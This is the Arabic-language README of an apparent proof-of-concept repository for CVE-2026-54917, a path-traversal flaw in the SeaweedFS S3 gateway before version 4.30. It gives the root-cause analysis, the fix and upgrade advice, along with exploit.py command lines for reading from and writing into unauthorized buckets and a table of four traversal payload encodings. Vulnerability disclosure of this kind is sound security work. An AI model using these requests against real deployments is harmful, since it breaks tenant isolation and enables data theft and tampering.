
PoC + تحليل لـ CVE-2026-54917 — اجتياز المسار عبر السلال في بوابة SeaweedFS S3 (CVSS 10.0، <4.30). قراءة/كتابة أي سلة عبر .. في مفتاح الكائن.
إثبات مفهوم وتقرير تقني لـ CVE-2026-54917، وهو ثغرة تجاوز مسار في بوابة SeaweedFS S3 API تتيح للمتصل الوصول إلى كائنات في أي حاوية (bucket)، بغض النظر عن الصلاحيات المخوَّلة لبيانات اعتماده.
| CVE | CVE-2026-54917 |
| النشرة الأمنية | GHSA-w62w-66v9-vvgv |
| المنتج | SeaweedFS — بوابة S3 API (weed s3، ونقطة نهاية S3 في weed server) |
| الإصدارات المتأثرة | < 4.30 |
| الإصدار المُصحَّح | 4.30 |
| نقطة الضعف | CWE-22 — التقييد غير السليم لاسم المسار إلى دليل مقيد |
| الخطورة | 10.0 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:A/N |
| الحالة | ثغرة مؤكدة على 4.29 · تم إصلاحها على 4.30 (تم التحقق بالكامل) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
تم بناء موجّه S3 API باستخدام mux.NewRouter().SkipClean(true). ومع تعطيل تنظيف المسار، فإن مقطع .. داخل مسار الطلب يبقى بعد التوجيه. على سبيل المثال، الطلب التالي:
GET /bucket-a/../evil-bucket/secret.txt
يطابق مسار التوجيه في mux الطلب بحيث يكون {bucket} = "bucket-a"، و{object} = "../evil-bucket/secret.txt".
عندها يتباعد أمران:
{bucket} — أي bucket-a — الذي يُسمَح للمتصل باستخدامه.bucketDir(bucket) + "/" + object)، ويقوم filer بتسوية .. من جانب الخادم، لذا تقع القراءة/الكتابة فعليًا في evil-bucket.النتيجة هي مشكلة الوكيل المربك (confused deputy) الكلاسيكية: يتحقق IAM من حاوية واحدة بينما يتعامل نظام الملفات مع أخرى. يمكن لأي كيان (principal) مخوَّل لحاوية واحدة أن يقرأ ويكتب كائنات في كل حاوية أخرى على المثيل.
enableAuth = false — قراءة/كتابة مباشرة عبر الحاويات دون مصادقة.enableAuth = true — وكيل مربك في الترخيص: أي كيان مصادَق (أي مستأجر) يقرأ ويكتب عبر حدود الحاويات التي لا يملك تصريحًا لها. هذه هي الحالة الموضحة هنا، وهي سبب النتيجة 10.0 / النطاق المتغيّر (scope changed): بيانات اعتماد مستأجر واحد تكسر عزلة جميع المستأجرين الآخرين.يستخدم exploit.py مكتبة Python القياسية فقط. يوقّع كل طلب بـ SigV4 بنفسه ويكتب سطر الطلب بايت ببايت، لذا يصل مسار التجاوز إلى الخادم دون تعديل — وهو ما يتيح المتغيرات المرمّزة في URL التي قد يعيد S3 SDK عادي كتابتها.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
تم تنفيذ أربعة ترميزات للتجاوز وكلها مؤكدة على 4.29:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
يُفعّل إعداد الاختبار IAM (lab/s3.json) بهويتين: admin (كاملة الصلاحيات) وtenant-a (مقيّدة على bucket-a). يستخدم كل الاستغلال بيانات اعتماد tenant-a فقط. راجع EVIDENCE.txt للنص الكامل.
انظر ANALYSIS.md. باختصار: يُبقي SkipClean(true) على .. في المسار المُوجَّه، ويلتقط GetBucketAndObject متغيرات mux الخام، ويأذن IAM بناءً على {bucket}، ويضمّ toFilerPath {object} (الذي ما زال يحتوي على ..) إلى مسار filer، حيث تتم تسويته فيعبر حدود الحاوية.
تم إصلاحها في 4.30 (patch-4.30.diff). تعمل برمجية وسيطة باسم validateRequestPath قبل معالجات الحاويات وترفض أي متغير {bucket} / {object} ملتقط يكون فارغًا أو يحتوي على مقطع تجاوز، مع إرجاع 400 InvalidRequest. قم بالترقية إلى 4.30 أو أحدث.
/../ أو /%2e%2e أو ..%2f أو ..%5c بين مقطع الحاوية والمفتاح.Caio Fabrício — github.com/BiiTts
| المتغير | على الشبكة | التأثير |
|---|
dotdot | /bucket-a/../evil-bucket/key | يعمل أيضًا مع aws-cli العادي |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | يتطلب طلبًا خامًا (يعيد SDK ترميزه) |
enc-slash | /bucket-a/..%2fevil-bucket/key | يتطلب طلبًا خامًا |
enc-backslash | /bucket-a/..%5cevil-bucket/key | يُحوَّل \ إلى / من جانب الخادم |